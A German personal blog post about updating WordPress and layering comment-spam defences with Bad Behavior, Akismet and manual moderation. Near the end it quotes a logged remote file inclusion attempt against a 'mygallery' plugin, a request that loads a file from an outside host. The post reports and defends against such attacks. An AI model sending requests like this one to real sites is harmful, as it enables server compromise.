dyingeyes weblog: das persönliche Weblog von Boris Stumpf aus Frankfurt am Main

Das neue WordPress ist da, nachdem es gefühlte dreißig Monate lang eifrigst in Alpha-, Beta- und Release-Candidate-Versionen besprochen und bejubiliert wurde.

Soll ich wirklich schon updaten?

Ich könnte just zwei freie Tage erübrigen, die ich noch gar nicht so richtig verplant habe. Plus, im Fall des Falles, das anstehende Wochenende.

Hmmm…

Wie ich gerade bei Perun erfuhr, bietet das integrierte Anti-Kommentarspam-Plugin Akismet inzwischen einen grafisch und tabellarisch aufbe­reiteten statistischen Überblick über seine Tätigkeit im Blog.

Das ist schön, auch wenn ich schon ahnte, wie diese Visualisierungen für mein Blögchen aussehen würden:

Wie jetzt das? Praktisch gar kein erkannter Kommentar­spam? Doch, klar! Bloß dass Bad Behavior nahezu aus­nahmslos alles abfängt, bevor Akismet überhaupt einschreiten kann.

Akismet stellt bei mir also den zweiten Schutzwall dar, hinter BB, das praktisch alle maro­dierenden Bots/Spider/Skripte (Spam, Injection, Adress­sammler usw.) kassiert, die entweder gemäß seiner Blacklist als Schädlinge erkannt und eingestuft sind oder sich Header-mäßig unge­bührlich verhalten. Unglaublich wirkungsvoll. Selten dringt mal ein Kommentar­spam-Versuch durch, den in aller Regel Akismet zuverlässig abfängt, so dass meine dritte Schutz­instanz, die manuelle Erst­kommentar-Moderation, nur ganz selten zum Einsatz kommt. Damit erwische ich die (selten auftretenden) müden Existenzen, die glauben, ihre arm­seligen werblichen Botschaften und SEO-Zwang­haftig­keiten per manueller Bespammung loswerden zu müssen.

Eben gerade habe ich bei Reparaturarbeiten an meinem Bad Behavior (BB) (ja, den Fehler von neulich habe ich selbst durch eine kleine Nachlässig­keit hineingestrickt und soeben korrigiert) in der Daten­tabelle von BB mehrere Versuche entdeckt, über ein unsicheres Plugin Dateien einzuschleusen:

/wp-content/plugins/mygallery/myfunctions/mygallerybrowser.php?myPath=http://www.sexery.de/prc.gif?
(more…)